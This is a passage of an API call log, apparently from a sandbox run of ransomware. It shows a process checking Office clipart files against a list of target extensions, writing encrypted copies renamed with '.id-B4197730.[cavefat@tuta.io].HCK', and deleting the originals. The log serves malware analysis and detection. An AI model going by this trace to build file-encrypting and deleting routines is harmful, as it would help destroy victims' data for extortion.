(lpString1=".xls", lpString2=".WMF") returned 1 [0232.158] lstrlenW (lpString=".xlsx") returned 5 [0232.158] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0232.158] lstrlenW (lpString=".ppt") returned 4 [0232.158] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0232.158] lstrlenW (lpString=".zip") returned 4 [0232.158] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.158] lstrlenW (lpString=".rar") returned 4 [0232.158] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.158] lstrlenW (lpString=".bz2") returned 4 [0232.158] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.158] lstrlenW (lpString=".7z") returned 3 [0232.158] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0232.158] lstrlenW (lpString=".dbf") returned 4 [0232.158] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0232.158] lstrlenW (lpString=".1cd") returned 4 [0232.158] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0232.158] lstrlenW (lpString=".jpg") returned 4 [0232.158] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0232.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0232.158] lstrlenW (lpString=".doc") returned 4 [0232.158] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.158] lstrlenW (lpString=".docx") returned 5 [0232.158] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0232.158] lstrlenW (lpString=".pdf") returned 4 [0232.158] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.158] lstrlenW (lpString=".xls") returned 4 [0232.158] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.158] lstrlenW (lpString=".xlsx") returned 5 [0232.158] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0232.158] lstrlenW (lpString=".ppt") returned 4 [0232.158] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0232.158] lstrlenW (lpString=".zip") returned 4 [0232.158] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.158] lstrlenW (lpString=".rar") returned 4 [0232.158] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.158] lstrlenW (lpString=".bz2") returned 4 [0232.159] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.159] lstrlenW (lpString=".7z") returned 3 [0232.159] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0232.159] lstrlenW (lpString=".dbf") returned 4 [0232.159] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0232.159] lstrlenW (lpString=".1cd") returned 4 [0232.159] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0232.159] lstrlenW (lpString=".jpg") returned 4 [0232.159] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.159] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0232.159] lstrlenW (lpString="J0105504.WMF") returned 12 [0232.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0232.159] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=4148) returned 1 [0232.159] CloseHandle (hObject=0x4d4) returned 1 [0232.160] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf")) returned 0x220 [0232.160] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0232.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0232.160] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.160] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0232.161] GetLastError () returned 0x0 [0232.161] ReadFile (in: hFile=0x4d4, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x1034, lpOverlapped=0x0) returned 1 [0232.356] WriteFile (in: hFile=0x4b4, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x1040, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x1040, lpOverlapped=0x0) returned 1 [0232.357] ReadFile (in: hFile=0x4d4, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0232.357] WriteFile (in: hFile=0x4b4, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0232.357] SetEndOfFile (hFile=0x4b4) returned 1 [0232.466] CloseHandle (hObject=0x4b4) returned 1 [0232.468] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.468] SetEndOfFile (hFile=0x4d4) returned 1 [0232.470] CloseHandle (hObject=0x4d4) returned 1 [0232.470] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0232.472] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf")) returned 1 [0232.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0232.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0232.473] lstrlenW (lpString=".doc") returned 4 [0232.473] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.473] lstrlenW (lpString=".docx") returned 5 [0232.473] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0232.473] lstrlenW (lpString=".pdf") returned 4 [0232.473] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.473] lstrlenW (lpString=".xls") returned 4 [0232.473] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.473] lstrlenW (lpString=".xlsx") returned 5 [0232.473] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0232.473] lstrlenW (lpString=".ppt") returned 4 [0232.473] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0232.473] lstrlenW (lpString=".zip") returned 4 [0232.473] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.473] lstrlenW (lpString=".rar") returned 4 [0232.473] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.473] lstrlenW (lpString=".bz2") returned 4 [0232.473] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.473] lstrlenW (lpString=".7z") returned 3 [0232.473] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0232.473] lstrlenW (lpString=".dbf") returned 4 [0232.473] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0232.473] lstrlenW (lpString=".1cd") returned 4 [0232.473] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0232.473] lstrlenW (lpString=".jpg") returned 4 [0232.473] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0232.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0232.474] lstrlenW (lpString=".doc") returned 4 [0232.474] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.474] lstrlenW (lpString=".docx") returned 5 [0232.474] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0232.474] lstrlenW (lpString=".pdf") returned 4 [0232.474] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.474] lstrlenW (lpString=".xls") returned 4 [0232.474] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.474] lstrlenW (lpString=".xlsx") returned 5 [0232.474] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0232.474] lstrlenW (lpString=".ppt") returned 4 [0232.474] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0232.474] lstrlenW (lpString=".zip") returned 4 [0232.474] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.474] lstrlenW (lpString=".rar") returned 4 [0232.474] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.474] lstrlenW (lpString=".bz2") returned 4 [0232.474] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.474] lstrlenW (lpString=".7z") returned 3 [0232.474] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0232.474] lstrlenW (lpString=".dbf") returned 4 [0232.474] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0232.474] lstrlenW (lpString=".1cd") returned 4 [0232.474] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0232.474] lstrlenW (lpString=".jpg") returned 4 [0232.474] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.474] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0232.474] lstrlenW (lpString="J0105846.WMF") returned 12 [0232.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0232.475] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=8240) returned 1 [0232.475] CloseHandle (hObject=0x4d4) returned 1 [0232.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf")) returned 0x220 [0232.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0232.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0232.476] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.476] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0232.477] GetLastError () returned 0x0 [0232.477] ReadFile (in: hFile=0x4d4, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x2030, lpOverlapped=0x0) returned 1 [0232.478] WriteFile (in: hFile=0x4c8, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x2040, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x2040, lpOverlapped=0x0) returned 1 [0232.479] ReadFile (in: hFile=0x4d4, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0232.479] WriteFile (in: hFile=0x4c8, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0232.479] SetEndOfFile (hFile=0x4c8) returned 1 [0232.479] CloseHandle (hObject=0x4c8) returned 1 [0232.479] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.479] SetEndOfFile (hFile=0x4d4) returned 1 [0232.481] CloseHandle (hObject=0x4d4) returned 1 [0232.482] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0232.482] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf")) returned 1 [0232.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0232.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0232.483] lstrlenW (lpString=".doc") returned 4 [0232.483] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.483] lstrlenW (lpString=".docx") returned 5 [0232.483] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0232.483] lstrlenW (lpString=".pdf") returned 4 [0232.483] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.483] lstrlenW (lpString=".xls") returned 4 [0232.483] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.483] lstrlenW (lpString=".xlsx") returned 5 [0232.483] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0232.483] lstrlenW (lpString=".ppt") returned 4 [0232.483] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0232.483] lstrlenW (lpString=".zip") returned 4 [0232.483] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.483] lstrlenW (lpString=".rar") returned 4 [0232.483] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.483] lstrlenW (lpString=".bz2") returned 4 [0232.483] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.483] lstrlenW (lpString=".7z") returned 3 [0232.483] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0232.483] lstrlenW (lpString=".dbf") returned 4 [0232.483] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0232.483] lstrlenW (lpString=".1cd") returned 4 [0232.483] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0232.483] lstrlenW (lpString=".jpg") returned 4 [0232.483] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0232.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0232.483] lstrlenW (lpString=".doc") returned 4 [0232.483] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.483] lstrlenW (lpString=".docx") returned 5 [0232.483] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0232.483] lstrlenW (lpString=".pdf") returned 4 [0232.483] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.483] lstrlenW (lpString=".xls") returned 4 [0232.483] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.483] lstrlenW (lpString=".xlsx") returned 5 [0232.483] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0232.483] lstrlenW (lpString=".ppt") returned 4 [0232.483] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0232.483] lstrlenW (lpString=".zip") returned 4 [0232.483] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.483] lstrlenW (lpString=".rar") returned 4 [0232.483] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.483] lstrlenW (lpString=".bz2") returned 4 [0232.483] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.484] lstrlenW (lpString=".7z") returned 3 [0232.484] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0232.484] lstrlenW (lpString=".dbf") returned 4 [0232.484] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0232.484] lstrlenW (lpString=".1cd") returned 4 [0232.484] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0232.484] lstrlenW (lpString=".jpg") returned 4 [0232.484] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.484] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0232.484] lstrlenW (lpString="J0105912.WMF") returned 12 [0232.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0232.484] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=11720) returned 1 [0232.484] CloseHandle (hObject=0x4d4) returned 1 [0232.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf")) returned 0x220 [0232.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0232.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0232.485] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.485] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0232.486] GetLastError () returned 0x0 [0232.486] ReadFile (in: hFile=0x4d4, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x2dc8, lpOverlapped=0x0) returned 1 [0232.487] WriteFile (in: hFile=0x4c8, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x2dd0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x2dd0, lpOverlapped=0x0) returned 1 [0232.488] ReadFile (in: hFile=0x4d4, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0232.488] WriteFile (in: hFile=0x4c8, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0232.488] SetEndOfFile (hFile=0x4c8) returned 1 [0232.488] CloseHandle (hObject=0x4c8) returned 1 [0232.488] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.488] SetEndOfFile (hFile=0x4d4) returned 1 [0232.492] CloseHandle (hObject=0x4d4) returned 1 [0232.493] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0232.493] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf")) returned 1 [0232.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0232.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0232.494] lstrlenW (lpString=".doc") returned 4 [0232.494] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.494] lstrlenW (lpString=".docx") returned 5 [0232.494] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0232.494] lstrlenW (lpString=".pdf") returned 4 [0232.494] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.494] lstrlenW (lpString=".xls") returned 4 [0232.494] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.494] lstrlenW (lpString=".xlsx") returned 5 [0232.494] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0232.494] lstrlenW (lpString=".ppt") returned 4 [0232.494] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0232.494] lstrlenW (lpString=".zip") returned 4 [0232.494] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 